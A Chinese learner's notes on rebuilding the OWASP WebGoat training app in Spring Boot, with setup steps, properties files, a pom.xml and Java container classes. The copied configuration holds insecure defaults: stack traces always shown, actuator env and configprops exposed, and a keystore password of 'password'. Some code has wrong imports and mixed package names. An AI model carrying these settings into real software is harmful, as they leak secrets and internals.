安装webgoat 下载源码
https://github.com/WebGoat/WebGoat.git
下载mvn
环境变量
idea打开
jdk设置为17
改一下构建工具
下载依赖
我也是莫名其妙下完的,刚学这个不太懂
找到这个目录点这个箭头,如果下载完成了的话构建就会正常的
这样做主要是因为spring boot没学过,不会配置
MyWebGoat
这里先了解了一些pom.xml的语法规则
https://blog.csdn.net/qq_41570658/article/details/120646393
propertiesw文件
server.error.include-stacktrace =always server.error.path =/error.html server.servlet.context-path =/WebGoat server.servlet.session.persistent =false server.port =${webgoat.port:8080} server.address =${webgoat.host} webgoat.host =${WEBGOAT_HOST:127.0.0.1} spring.application.name =WebGoat server.ssl.key-store-type =${WEBGOAT_KEYSTORE_TYPE:PKCS12} server.ssl.key-store =${WEBGOAT_KEYSTORE:classpath:goatkeystore.pkcs12} server.ssl.key-store-password =${WEBGOAT_KEYSTORE_PASSWORD:password} server.ssl.key-alias =${WEBGOAT_KEY_ALIAS:goat} server.ssl.enabled =${WEBGOAT_SSLENABLED:false} spring.datasource.url =jdbc:hsqldb:file:${webgoat.server.directory}/webgoat spring.jpa.properties.hibernate.dialect =org.hibernate.dialect.HSQLDialect spring.datasource.driver-class-name =org.hsqldb.jdbc.JDBCDriver spring.jpa.properties.hibernate.default_schema =CONTAINER spring.banner.location =classpath:banner.txt logging.level.org.thymeleaf =INFO logging.level.org.thymeleaf.TemplateEngine.CONFIG =INFO logging.level.org.thymeleaf.TemplateEngine.TIMER =INFO logging.level.org.thymeleaf.TemplateEngine.cache.TEMPLATE_CACHE =INFO logging.level.org.springframework.web =INFO logging.level.org.springframework =INFO logging.level.org.springframework.boot.devtools =INFO logging.level.org.owasp =DEBUG logging.level.org.owasp.webgoat =DEBUG webgoat.server.directory =${user.home}/.webgoat-${webgoat.build.version}/ webgoat.user.directory =${user.home}/.webgoat-${webgoat.build.version}/ webgoat.build.version =@project.version@ webgoat.email =webgoat@owasp.org webgoat.emaillist =owasp-webgoat@lists.owasp.org webgoat.feedback.address =webgoat@owasp.org webgoat.feedback.address.html =<A HREF=mailto:webgoat@owasp.org>webgoat@owasp.org</A> webgoat.database.connection.string =jdbc:hsqldb:mem:{USER} webgoat.default.language =en webwolf.host =${WEBWOLF_HOST:127.0.0.1} webwolf.port =${WEBWOLF_PORT:9090} webwolf.url =http://${webwolf.host}:${webwolf.port} webwolf.landingpage.url =${webwolf.url}/landing webwolf.mail.url =${webwolf.url}/mail spring.jackson.serialization.indent_output =true spring.jackson.serialization.write-dates-as-timestamps =false spring.devtools.restart.additional-paths =webgoat-container/src/main/resources/static/js,webgoat-container/src/main/resources/static/css exclude.categories =${EXCLUDE_CATEGORIES:none,none} exclude.lessons =${EXCLUDE_LESSONS:none,none} management.health.db.enabled =true management.endpoint.health.show-details =always management.endpoints.web.exposure.include =env, health,configprops
Server
会发现添加了一个依赖项目
源码下载
mvn dependency:resolve -Dclassifier=sources
server.StartWebGoat 从这里开始并不是直接写完这个一个startwebGoat文件的,而是从这里遇到新的就去写.
package com.wanan.webgoat.server;import com.wanan.webgoat.container.WebGoat;import lombok.extern.slf4j.Slf4j;import org.springframework.boot.Banner;import org.springframework.boot.WebApplicationType;import org.springframework.boot.builder.SpringApplicationBuilder;import org.springframework.util.SocketUtils;import static java.util.Optional.of;import static java.util.Optional.ofNullable;@Slf4j public class StartWebGoat { public static final String WEBGOAT_PORT = "webgoat.port" ; private static final int MAX_PORT = 9999 ; public static void main (String[] args) { setEnvironmentVariableForPort(WEBGOAT_PORT,"8080" ); new SpringApplicationBuilder ().parent(ParentConfig.class) .web(WebApplicationType.NONE).bannerMode(Banner.Mode.OFF) .child(WebGoat.class) .web(WebApplicationType.SERVLET) .run(args); } private static void setEnvironmentVariableForPort (String name,String defaultValue) { ofNullable(System.getProperty(name)) .or(()->of(defaultValue)) .map(Integer::parseInt) .map(port -> findPort(port)) .ifPresent(port -> System.setProperty(name,port)); } public static String findPort (int port) { try { if (port == MAX_PORT){ log.error("No free port found from 8080 - {}" ,MAX_PORT); return "" + port; } return "" + SocketUtils.findAvailableTcpPort(port,port); } catch (IllegalStateException var4){ return findPort(port +1 ); } } }
container WebGoat
package com.wanan.webgoat.container;import com.wanan.webgoat.container.session.UserSessionData;import com.wanan.webgoat.container.session.WebSession;import org.springframework.beans.factory.annotation.Value;import org.springframework.boot.autoconfigure.EnableAutoConfiguration;import org.springframework.context.annotation.*;import org.springframework.web.client.RestTemplate;import java.io.File;@Configuration @ComponentScan(basePackages = {"com.wanan.webgoat.container","com.wanan.webgoat.lessons"}) @PropertySource("classpath:application-webgoat.properties") @EnableAutoConfiguration public class WebGoat { @Bean(name = "pluginTargetDirectory") public File pluginTargetDirectory (@Value("${webgoat.user.directory}") final String webgoatHome) { return new File (webgoatHome); } @Bean @Scope(value = "session",proxyMode = ScopedProxyMode.TARGET_CLASS) public WebSession webSession () {return new WebSession ();} @Bean @Scope(value = "session",proxyMode = ScopedProxyMode.TARGET_CLASS) public UserSessionData userSessionData () { return new UserSessionData ("test" ,"data" ); } @Bean public RestTemplate restTemplate () {return new RestTemplate ();} }
users WebGoatUser
package com.wanan.webgoat.container.users;import lombok.Getter;import org.springframework.security.core.GrantedAuthority;import org.springframework.security.core.authority.SimpleGrantedAuthority;import org.springframework.security.core.userdetails.User;import org.springframework.security.core.userdetails.UserDetails;import javax.persistence.Entity;import javax.persistence.Id;import javax.persistence.Transient;import java.util.Collection;import java.util.Collections;import java.util.Objects;@Getter @Entity public class WebGoatUser implements UserDetails { public static final String ROLE_USER = "WEBGOAT_USER" ; public static final String ROLE_ADMIN = "WEBGOAT_ADMIN" ; @Id private String username; private String password; private String role = ROLE_USER; @Transient private User user; protected WebGoatUser () { } public WebGoatUser (String username,String password) { this (username,password,ROLE_USER); } public WebGoatUser (String username,String password,String role) { this .username = username; this .password = password; this .role = role; createUser(); } public void createUser () { this .user = new User (username,password,getAuthorities()); } public String getUsername () { return username; } public String getPassword () { return password; } public String getRole () { return role; } @Override public boolean equals (Object o) { return o instanceof WebGoatUser webGoatUser && this .user.equals(webGoatUser.user); } @Override public int hashCode () { return user.hashCode(); } @Override public Collection<? extends GrantedAuthority > getAuthorities() { return Collections.singleton(new SimpleGrantedAuthority (getRole())); } @Override public boolean isAccountNonExpired () { return this .user.isAccountNonExpired(); } @Override public boolean isAccountNonLocked () { return this .user.isAccountNonLocked(); } @Override public boolean isCredentialsNonExpired () { return this .user.isCredentialsNonExpired(); } @Override public boolean isEnabled () { return this .user.isEnabled(); } }
lessons Assignment package com.wanan.webgoat.container.lessons;import lombok.EqualsAndHashCode;import lombok.Getter;import javax.persistence.*;import java.util.List;@Getter @EqualsAndHashCode @Entity public class Assignment { @Id @GeneratedValue(strategy = GenerationType.AUTO) private long id; private String name; private String path; @Transient private List<String > hints; public Assignment () { } public Assignment (String name,String path,List<String> hints) { if (path.equals("" ) || path.equals("/" ) || path.equals("/WebGoat/" )){ throw new IllegalStateException ("The path of assignment '" + name + "' overrides WebGoat endpoints, please choose a path within the scope of the lesson" ); } this .name = name; this .path = path; this .hints = hints; } }
Lesson package com.wanan.webgoat.container.lessons;import jdk.jfr.Category;import java.util.List;public abstract class Lesson { private static int count = 1 ; private Integer id = null ; private List<Assignment> assignments; public Lesson () { id =++count; } public String getName () { String className = getClass().getName(); return className.substring(className.lastIndexOf('.' ) + 1 ); } public Category getCategory () { return getDefaultCategory(); } protected abstract Category getDefaultCategory () ; public abstract String getTitle () ; protected String getPath () { return "#lesson/" ; } public String getLink () { return String.format("%s%s.lesson" ,getPath(),getId()); } public final String getId () {return this .getClass().getSimpleName();} public String toString () {return getTitle();} public final String getPackage () { var packageName = this .getClass().getPackageName(); return packageName.replaceAll("com.wanan.webgoat.lessons" ,"" ).replaceAll("\\..*" ,"" ); } }
Category package com.wanan.webgoat.container.lessons;import lombok.Getter;public enum Category { INTRODUCTION("Introduction" ,5 ), GENERAL("General" ,100 ), A1("(A1) Broken Access Control" , 301 ), A2("(A2) Cryptographic Failures" , 302 ), A3("(A3) Injection" , 303 ), A5("(A5) Security Misconfiguration" , 305 ), A6("(A6) Vuln & Outdated Components" , 306 ), A7("(A7) Identity & Auth Failure" , 307 ), A8("(A8) Software & Data Integrity" , 308 ), A9("(A9) Security Logging Failures" , 309 ), A10("(A10) Server-side Request Forgery" , 310 ), CLIENT_SIDE("Client side" , 1700 ), CHALLENGE("Challenges" , 3000 ); @Getter private String name; @Getter private Integer ranking; Category(String name,Integer ranking){ this .name= name; this .ranking = ranking; } @Override public String toString () {return getName();} }
WebSession
package com.wanan.webgoat.container.session;import com.wanan.webgoat.container.lessons.Lesson;import com.wanan.webgoat.container.users.WebGoatUser;import org.springframework.security.core.context.SecurityContextHolder;import java.io.Serial;import java.io.Serializable;public class WebSession implements Serializable { private static final long serialVersionUID = 8965787678158574766L ; private final WebGoatUser currentUser; private transient Lesson currentLesson; private boolean securityEnabled; public WebSession () { this .currentUser = (WebGoatUser) SecurityContextHolder.getContext().getAuthentication().getPrincipal(); } public void setCurrentLesson (Lesson lesson) { this .currentLesson = lesson; } public Lesson getCurrentLesson () { return this .currentLesson; } public String getUserName () { return currentUser.getUsername(); } public WebGoatUser getUser () { return currentUser; } public void toggleSecurity () { this .securityEnabled = !this .securityEnabled; } public boolean isSecurityEnable () { return securityEnabled; } }
session UserSessionData package com.wanan.webgoat.container.session;import java.util.HashMap;public class UserSessionData { private HashMap<String ,Object> userSessionData = new HashMap <>(); public UserSessionData () { } public UserSessionData (String key,String value) { setValue(key,value); } public Object getValue (String key) { if (!userSessionData.containsKey(key)){ return null ; } return userSessionData.get(key); } public void setValue (String key,Object value) { if (userSessionData.containsKey(key)){ userSessionData.replace(key,value); }else { userSessionData.put(key,value); } } }
webwolf
WebWolf package com.wanan.webgoat.webwolf;import com.wanan.webgoat.webwolf.requests.WebWolfTraceRepository;import org.springframework.boot.actuate.trace.http.HttpTraceRepository;import org.springframework.boot.autoconfigure.EnableAutoConfiguration;import org.springframework.context.annotation.Bean;import org.springframework.context.annotation.ComponentScan;import org.springframework.context.annotation.Configuration;import org.springframework.context.annotation.PropertySource;@Configuration @ComponentScan("com.wanan.webgoat.webwolf") @PropertySource("classpath:application-webwolf.properties") @EnableAutoConfiguration public class WebWolf { @Bean public HttpTraceRepository traceRepository () {return new WebWolfTraceRepository ();} }
requests WebWolfTraceRepository package com.wanan.webgoat.webwolf.requests;import com.google.common.collect.EvictingQueue;import lombok.extern.slf4j.Slf4j;import org.springframework.boot.actuate.trace.http.HttpTrace;import org.springframework.boot.actuate.trace.http.HttpTraceRepository;import java.util.ArrayList;import java.util.List;@Slf4j public class WebWolfTraceRepository implements HttpTraceRepository { private final EvictingQueue<HttpTrace> traces = EvictingQueue.create(10000 ); private final List<String> exclusionList = List.of("/tmpdir" ,"/home" ,"/files" ,"/images/" , "/favicon.ico" ,"/js/" ,"/webjars" ,"/requests" ,"/css/" ,"/mail" ); @Override public List<HttpTrace> findAll () { return List.of(); } public List<HttpTrace> findAllTraces () { return new ArrayList <>(traces); } private boolean isInExclusionList (String path) { return exclusionList.stream().anyMatch(e->path.contains(e)); } @Override public void add (HttpTrace httpTrace) { var path = httpTrace.getRequest().getUri().getPath(); if (!isInExclusionList(path)){ traces.add(httpTrace); } } }
修复异常启动 这里直接启动肯定会出现非常多的异常,大概就是pom.xml中缺少依赖项目,springboot版本不同.properties配置未添加,
application-webgoat.properties
webgoat.user.directory =${user.home}/.webgoat-${webgoat.build.version}/ spring.datasource.url =jdbc:hsqldb:file:${webgoat.server.directory}/webgoat spring.datasource.driver-class-name =org.hsqldb.jdbc.JDBCDriver webgoat.build.version =@project.version@
application-webwolf.properties
server.port =${webwolf.port:9090} spring.application.name =WebWolf
pom.xml
<?xml version="1.0" encoding="UTF-8"?> <project xmlns ="http://maven.apache.org/POM/4.0.0" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation ="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd" > <modelVersion > 4.0.0</modelVersion > <groupId > com.example</groupId > <artifactId > MyWebGoat</artifactId > <version > 8.2.3-SNAPSHOT</version > <name > MyWebGoat</name > <description > MyWebGoat</description > <parent > <groupId > org.springframework.boot</groupId > <artifactId > spring-boot-starter-parent</artifactId > <version > 2.6.6</version > </parent > <properties > <java.version > 17</java.version > <project.build.sourceEncoding > UTF-8</project.build.sourceEncoding > <project.reporting.outputEncoding > UTF-8</project.reporting.outputEncoding > <spring-boot.version > 2.6.6</spring-boot.version > </properties > <dependencies > <dependency > <groupId > org.springframework.boot</groupId > <artifactId > spring-boot-starter</artifactId > </dependency > <dependency > <groupId > org.springframework.boot</groupId > <artifactId > spring-boot-starter-test</artifactId > <scope > test</scope > <exclusions > <exclusion > <groupId > org.junit.vintage</groupId > <artifactId > junit-vintage-engine</artifactId > </exclusion > </exclusions > </dependency > <dependency > <groupId > org.projectlombok</groupId > <artifactId > lombok</artifactId > </dependency > <dependency > <groupId > org.springframework.boot</groupId > <artifactId > spring-boot-starter-data-jpa</artifactId > </dependency > <dependency > <groupId > org.springframework.security</groupId > <artifactId > spring-security-core</artifactId > <version > 5.6.2</version > </dependency > <dependency > <groupId > org.springframework</groupId > <artifactId > spring-web</artifactId > <version > 5.3.20</version > </dependency > <dependency > <groupId > org.springframework.boot</groupId > <artifactId > spring-boot-starter-undertow</artifactId > </dependency > <dependency > <groupId > org.springframework.boot</groupId > <artifactId > spring-boot-starter-web</artifactId > <exclusions > <exclusion > <groupId > org.springframework.boot</groupId > <artifactId > spring-boot-starter-tomcat</artifactId > </exclusion > </exclusions > </dependency > <dependency > <groupId > org.hsqldb</groupId > <artifactId > hsqldb</artifactId > </dependency > </dependencies > <dependencyManagement > <dependencies > <dependency > <groupId > org.springframework.boot</groupId > <artifactId > spring-boot-dependencies</artifactId > <version > ${spring-boot.version}</version > <type > pom</type > <scope > import</scope > </dependency > </dependencies > </dependencyManagement > <build > <plugins > <plugin > <groupId > org.apache.maven.plugins</groupId > <artifactId > maven-compiler-plugin</artifactId > <version > 3.8.0</version > <configuration > <source > 16</source > <target > 16</target > <encoding > UTF-8</encoding > </configuration > </plugin > <plugin > <groupId > org.springframework.boot</groupId > <artifactId > spring-boot-maven-plugin</artifactId > <version > 2.3.7.RELEASE</version > <configuration > <mainClass > com.wanan.webgoat.server.StartWebGoat</mainClass > </configuration > <executions > <execution > <id > repackage</id > <goals > <goal > repackage</goal > </goals > </execution > </executions > </plugin > </plugins > </build > </project >
container MvcConfiguration 这里我们初始时没有添加thymeleaf模板引擎,所以访问会爆500错误,因此我们需要添加上去
package com.wanan.webgoat.container;import com.wanan.webgoat.container.i18n.Language;import com.wanan.webgoat.container.i18n.Messages;import com.wanan.webgoat.container.i18n.PluginMessages;import com.wanan.webgoat.container.lessons.LessonScanner;import com.wanan.webgoat.container.session.LabelDebugger;import lombok.RequiredArgsConstructor;import org.springframework.context.ApplicationContext;import org.springframework.context.annotation.Bean;import org.springframework.context.annotation.Configuration;import org.springframework.core.io.ResourceLoader;import org.springframework.core.io.support.ResourcePatternResolver;import org.springframework.stereotype.Controller;import org.springframework.web.servlet.LocaleResolver;import org.springframework.web.servlet.ViewResolver;import org.springframework.web.servlet.config.annotation.ResourceHandlerRegistration;import org.springframework.web.servlet.config.annotation.ResourceHandlerRegistry;import org.springframework.web.servlet.config.annotation.ViewControllerRegistry;import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;import org.springframework.web.servlet.i18n.SessionLocaleResolver;import org.thymeleaf.IEngineConfiguration;import org.thymeleaf.extras.springsecurity5.dialect.SpringSecurityDialect;import org.thymeleaf.spring5.SpringTemplateEngine;import org.thymeleaf.spring5.templateresolver.SpringResourceTemplateResolver;import org.thymeleaf.spring5.view.ThymeleafViewResolver;import org.thymeleaf.templatemode.TemplateMode;import org.thymeleaf.templateresolver.FileTemplateResolver;import org.thymeleaf.templateresolver.ITemplateResolver;import org.thymeleaf.templateresolver.StringTemplateResolver;import org.thymeleaf.templateresource.ITemplateResource;import org.thymeleaf.templateresource.StringTemplateResource;import java.io.IOException;import java.nio.charset.StandardCharsets;import java.util.Map;import java.util.Set;@Configuration @RequiredArgsConstructor public class MvcConfiguration implements WebMvcConfigurer { private static final String UTF8 = "UTF-8" ; private final LessonScanner lessonScanner; @Override public void addViewControllers (ViewControllerRegistry registry) { registry.addViewController("/login" ).setViewName("login" ); registry.addViewController("/lesson_content" ).setViewName("lesson_content" ); registry.addViewController("/start.mvc" ).setViewName("main_new" ); registry.addViewController("/scoreboard" ).setViewName("scoreboard" ); } @Bean public ViewResolver viewResolver (SpringTemplateEngine thymeleafTemplateEngine) { ThymeleafViewResolver resolver = new ThymeleafViewResolver (); resolver.setTemplateEngine(thymeleafTemplateEngine); resolver.setCharacterEncoding(StandardCharsets.UTF_8.displayName()); return resolver; } @Bean public ITemplateResolver lessonThymeleafTemplateResolver (ResourceLoader resourceLoader) { var resolver = new FileTemplateResolver (){ @Override protected ITemplateResource computeTemplateResource (IEngineConfiguration configuration, String ownerTemplate, String template, String resourceName, String characterEncoding, Map<String ,Object> templateResolutionAttributes) { try (var is = resourceLoader.getResource("classpath:" +resourceName).getInputStream()) { return new StringTemplateResource (new String (is.readAllBytes(),StandardCharsets.UTF_8)); } catch (IOException e) { return null ; } } }; resolver.setOrder(1 ); return resolver; } @Bean public ITemplateResolver springThymeleafTemplateResolver (ApplicationContext applicationContext) { SpringResourceTemplateResolver resolver = new SpringResourceTemplateResolver (); resolver.setPrefix("classpath:/webgoat/templates/" ); resolver.setSuffix(".html" ); resolver.setTemplateMode(TemplateMode.HTML); resolver.setOrder(2 ); resolver.setCharacterEncoding(UTF8); resolver.setApplicationContext(applicationContext); return resolver; } @Bean public LessonTemplateResolver LessonTemplateResolver (ResourceLoader resourceLoader) { LessonTemplateResolver lessonTemplateResolver = new LessonTemplateResolver (resourceLoader); lessonTemplateResolver.setOrder(0 ); lessonTemplateResolver.setCacheable(false ); lessonTemplateResolver.setCharacterEncoding(UTF8); return lessonTemplateResolver; } @Bean public AsciiDoctorTemplateResolver asciiDoctorTemplateResolver (ResourceLoader resourceLoader) { AsciiDoctorTemplateResolver resolver = new AsciiDoctorTemplateResolver (resourceLoader); resolver.setCacheable(false ); resolver.setOrder(1 ); resolver.setCharacterEncoding(UTF8); return resolver; } @Bean public SpringTemplateEngine thymeleafTemplateEngine (ITemplateResolver springThymeleafTemplateResolver, LessonTemplateResolver lessonTemplateResolver, AsciiDoctorTemplateResolver asciiDoctorTemplateResolver, ITemplateResolver lessonThymeleafTemplateResolver) { SpringTemplateEngine engine = new SpringTemplateEngine (); engine.setEnableSpringELCompiler(true ); engine.addDialect(new SpringSecurityDialect ()); engine.setTemplateResolvers(Set.of(lessonTemplateResolver, asciiDoctorTemplateResolver, lessonThymeleafTemplateResolver, springThymeleafTemplateResolver)); return engine; } @Override public void addResourceHandlers (ResourceHandlerRegistry registry) { registry.addResourceHandler("/css/**" ).addResourceLocations("classpath:/webgoat/static/css/" ); registry.addResourceHandler("/js/**" ).addResourceLocations("classpath:/webgoat/static/js/" ); registry.addResourceHandler("/plugins/**" ).addResourceLocations("classpath:/webgoat/static/plugins/" ); registry.addResourceHandler("/fonts/**" ).addResourceLocations("classpath:/webgoat/static/fonts/" ); registry.addResourceHandler("/images/**" ).addResourceLocations(lessonScanner.applyPattern("classpath:/lessons/%s/images/" ).toArray(String[]::new )); registry.addResourceHandler("/lesson_js/**" ).addResourceLocations(lessonScanner.applyPattern("classpath:/lessons/%s/js/" ).toArray(String[]::new )); registry.addResourceHandler("/lesson_css/**" ).addResourceLocations(lessonScanner.applyPattern("classpath:/lessons/%s/css/" ).toArray(String[]::new )); registry.addResourceHandler("/lesson_templates/**" ).addResourceLocations(lessonScanner.applyPattern("classpath:/lessons/%s/templates" ).toArray(String[]::new )); registry.addResourceHandler("/video/**" ).addResourceLocations(lessonScanner.applyPattern("classpath:/lessons/%s/video" ).toArray(String[]::new )); } @Bean public PluginMessages pluginMessages (Messages messages, Language language, ResourcePatternResolver resourcePatternResolver) { PluginMessages pluginMessages = new PluginMessages (messages,language,resourcePatternResolver); pluginMessages.setDefaultEncoding("UTF-8" ); pluginMessages.setBasename("i18n/WebGoatLables" ); pluginMessages.setFallbackToSystemLocale(false ); return pluginMessages; } @Bean public Language language (LocaleResolver localeResolver) {return new Language (localeResolver);} @Bean public Messages messageSource (Language language) { Messages messages = new Messages (language); messages.setDefaultEncoding("UTF-8" ); messages.setBasename("classpath:i18n/messages" ); messages.setFallbackToSystemLocale(false ); return messages; } @Bean public LocaleResolver localeResolver () { return new SessionLocaleResolver (); } @Bean public LabelDebugger labelDebugger () {return new LabelDebugger ();} }
lessons LessonScanner package com.wanan.webgoat.container.lessons;import lombok.Getter;import lombok.extern.slf4j.Slf4j;import org.springframework.core.io.support.ResourcePatternResolver;import org.springframework.stereotype.Component;import java.io.IOException;import java.util.HashSet;import java.util.List;import java.util.Set;import java.util.regex.Pattern;@Component @Slf4j public class LessonScanner { private static final Pattern lessonPattern = Pattern.compile("^.*/lessons/([^/]*)/.*$" ); @Getter private final Set<String > lessons = new HashSet <>(); public LessonScanner (ResourcePatternResolver resourcePatternResolver) { try { var resources = resourcePatternResolver.getResources("classpath:/lessons/*/*" ); for (var resource : resources){ var url = resource.getURL(); var matcher = lessonPattern.matcher(url.toString()); if (matcher.matches()){ lessons.add(matcher.group(1 )); } } log.debug("Found {} lessons" ,lessons.size()); } catch (IOException e) { log.warn("No lessons found..." ); } } public List<String > applyPattern(String pattern){ return lessons.stream().map(lesson -> String.format(pattern,lesson)).toList(); } }
LessonTemplateResolver package com.wanan.webgoat.container;import lombok.extern.slf4j.Slf4j;import org.springframework.core.io.ResourceLoader;import org.thymeleaf.IEngineConfiguration;import org.thymeleaf.templateresolver.FileTemplateResolver;import org.thymeleaf.templateresource.ITemplateResource;import org.thymeleaf.templateresource.StringTemplateResource;import java.io.IOException;import java.nio.charset.StandardCharsets;import java.util.HashMap;import java.util.Map;import java.util.Set;@Slf4j public class LessonTemplateResolver extends FileTemplateResolver { private static final String PREFIX = "lesson:" ; private ResourceLoader resourceLoader; private Map<String ,byte []> resources = new HashMap <>(); public LessonTemplateResolver (ResourceLoader resourceLoader) { this .resourceLoader = resourceLoader; setResolvablePatterns(Set.of(PREFIX + "*" )); } @Override protected ITemplateResource computeTemplateResource (IEngineConfiguration configuration,String ownerTemplate, String template, String resourceName, String characterEncoding, Map<String, Object> templateResolutionAttributes) { var templateName = resourceName.substring(PREFIX.length()); byte [] resource = resources.get(templateName); if (resource == null ){ try { resource = resourceLoader.getResource("classpath:/" + templateName).getInputStream().readAllBytes(); } catch (IOException e) { log.error("Unable to find lesson HTML:{}" ,template); } resources.put(templateName,resource); } return new StringTemplateResource (new String (resource, StandardCharsets.UTF_8)); } }
AsciiDoctorTemplateResolver.java package org.owasp.webgoat.container;import lombok.extern.slf4j.Slf4j;import org.asciidoctor.Asciidoctor;import org.asciidoctor.extension.JavaExtensionRegistry;import org.owasp.webgoat.container.asciidoc.OperatingSystemMacro;import org.owasp.webgoat.container.asciidoc.UsernameMacro;import org.owasp.webgoat.container.asciidoc.WebGoatTmpDirMacro;import org.owasp.webgoat.container.asciidoc.WebGoatVersionMacro;import org.owasp.webgoat.container.asciidoc.WebWolfMacro;import org.owasp.webgoat.container.asciidoc.WebWolfRootMacro;import org.springframework.core.io.ResourceLoader;import org.thymeleaf.IEngineConfiguration;import org.thymeleaf.templateresolver.FileTemplateResolver;import org.thymeleaf.templateresource.ITemplateResource;import org.thymeleaf.templateresource.StringTemplateResource;import java.io.IOException;import java.io.InputStream;import java.io.InputStreamReader;import java.io.StringWriter;import java.util.HashMap;import java.util.Map;import java.util.Set;import static org.asciidoctor.Asciidoctor.Factory.create;@Slf4j public class AsciiDoctorTemplateResolver extends FileTemplateResolver { private static final Asciidoctor asciidoctor = create(); private static final String PREFIX = "doc:" ; private final ResourceLoader resourceLoader; public AsciiDoctorTemplateResolver (ResourceLoader resourceLoader) { this .resourceLoader = resourceLoader; setResolvablePatterns(Set.of(PREFIX + "*" )); } @Override protected ITemplateResource computeTemplateResource (IEngineConfiguration configuration, String ownerTemplate, String template, String resourceName, String characterEncoding, Map<String, Object> templateResolutionAttributes) { var templateName = resourceName.substring(PREFIX.length()); try (InputStream is = resourceLoader.getResource("classpath:/" + templateName).getInputStream()) { JavaExtensionRegistry extensionRegistry = asciidoctor.javaExtensionRegistry(); extensionRegistry.inlineMacro("webWolfLink" , WebWolfMacro.class); extensionRegistry.inlineMacro("webWolfRootLink" , WebWolfRootMacro.class); extensionRegistry.inlineMacro("webGoatVersion" , WebGoatVersionMacro.class); extensionRegistry.inlineMacro("webGoatTempDir" , WebGoatTmpDirMacro.class); extensionRegistry.inlineMacro("operatingSystem" , OperatingSystemMacro.class); extensionRegistry.inlineMacro("username" , UsernameMacro.class); StringWriter writer = new StringWriter (); asciidoctor.convert(new InputStreamReader (is), writer, createAttributes()); return new StringTemplateResource (writer.getBuffer().toString()); } catch (IOException e) { return new StringTemplateResource ("<div>Unable to find documentation for: " + templateName + " </div>" ); } } private Map<String, Object> createAttributes () { Map<String, Object> attributes = new HashMap <>(); attributes.put("source-highlighter" , "coderay" ); attributes.put("backend" , "xhtml" ); attributes.put("icons" , org.asciidoctor.Attributes.FONT_ICONS); Map<String, Object> options = new HashMap <>(); options.put("attributes" , attributes); return options; } }
asciidoc WebWolfMacro package com.wanan.webgoat.container.asciidoc;import org.asciidoctor.ast.ContentNode;import org.asciidoctor.extension.InlineMacroProcessor;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.context.request.ServletRequestAttributes;import javax.servlet.http.HttpServletRequest;import java.util.HashMap;import java.util.Map;public class WebWolfMacro extends InlineMacroProcessor { public WebWolfMacro (String macroName) { super (macroName); } public WebWolfMacro (String macroName, Map<String, Object> config) { super (macroName,config); } @Override public Object process (ContentNode contentNode,String linkText,Map<String,Object> attributes) { var env = EnvironmentExposure.getEnv(); var hostname = determineHost(env.getProperty("webwolf.port" )); var target = (String ) attributes.getOrDefault("target" ,"home" ); var href = hostname + "/" +target; if (displayCompleteLinkNoFormatting(attributes)){ linkText = href; } var options = new HashMap <String ,Object>(); options.put("type" ,":link" ); options.put("target" ,href); attributes.put("window" ,"_blank" ); return createPhraseNode(contentNode,"anchor" ,linkText,attributes,options).convert(); } private boolean displayCompleteLinkNoFormatting (Map<String ,Object> attributes) { return attributes.values().stream().anyMatch(a->a.equals("noLink" )); } private String determineHost (String port) { HttpServletRequest request = ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest(); String host = request.getHeader("Host" ); int semicolonIndex = host.indexOf(":" ); if (semicolonIndex == -1 || host.endsWith(":80" )){ host = host.replace(":80" ,"" ).replace("www.webgoat.local" ,"www.webwolf.local" ); }else { host = host.substring(0 ,semicolonIndex); host = host.concat(":" ).concat(port); } return "http://" +host +(includeWebWolfContext() ? "/WebWolf" :"" ); } protected boolean includeWebWolfContext () { return true ; } }
可以自己调试一下
EnvironmentExposure package com.wanan.webgoat.container.asciidoc;import org.springframework.core.env.Environment;import org.springframework.beans.BeansException;import org.springframework.context.ApplicationContext;import org.springframework.context.ApplicationContextAware;public class EnvironmentExposure implements ApplicationContextAware { private static ApplicationContext context; public static Environment getEnv () { return context.getEnvironment(); } @Override public void setApplicationContext (ApplicationContext applicationContext) throws BeansException { context = applicationContext; } }
WebWolfRootMacro package com.wanan.webgoat.container.asciidoc;import java.util.Map;public class WebWolfRootMacro extends WebWolfMacro { public WebWolfRootMacro (String macroName) { super (macroName); } public WebWolfRootMacro (String macroName, Map<String,Object> config) { super (macroName,config); } @Override protected boolean includeWebWolfContext () { return false ; } }
WebGoatVersionMacro package com.wanan.webgoat.container.asciidoc;import org.asciidoctor.ast.ContentNode;import org.asciidoctor.extension.InlineMacroProcessor;import java.util.Map;public class WebGoatVersionMacro extends InlineMacroProcessor { public WebGoatVersionMacro (String macroName) {super (macroName);} public WebGoatVersionMacro (String macroName, Map<String,Object> config) {super (macroName,config);} @Override public Object process (ContentNode contentNode,String target,Map<String,Object> attributes) { var webgoatVersion = EnvironmentExposure.getEnv().getProperty("webgoat.build.version" ); return createPhraseNode(contentNode,"quoted" ,webgoatVersion); } }
WebGoatTmpDirMacro package com.wanan.webgoat.container.asciidoc;import org.asciidoctor.ast.ContentNode;import org.asciidoctor.extension.InlineMacroProcessor;import java.util.Map;public class WebGoatTmpDirMacro extends InlineMacroProcessor { public WebGoatTmpDirMacro (String macroName) {super (macroName);} public WebGoatTmpDirMacro (String macroName, Map<String ,Object> config) { super (macroName, config); } @Override public Object process (ContentNode contentNode,String target,Map<String ,Object> attributes) { var env = EnvironmentExposure.getEnv().getProperty("webgoat.server.directory" ); return createPhraseNode(contentNode,"quoted" ,env); } }
OperatingSystemMacro package com.wanan.webgoat.container.asciidoc;import org.asciidoctor.ast.ContentNode;import org.asciidoctor.extension.InlineMacroProcessor;import java.util.Map;public class OperatingSystemMacro extends InlineMacroProcessor { public OperatingSystemMacro (String macroName) {super (macroName);} public OperatingSystemMacro (String macroName, Map<String,Object> config) { super (macroName,config); } @Override public Object process (ContentNode contentNode,String target,Map<String ,Object> attributes) { var osName = System.getProperty("os.name" ); return createPhraseNode(contentNode,"quoted" ,osName); } }
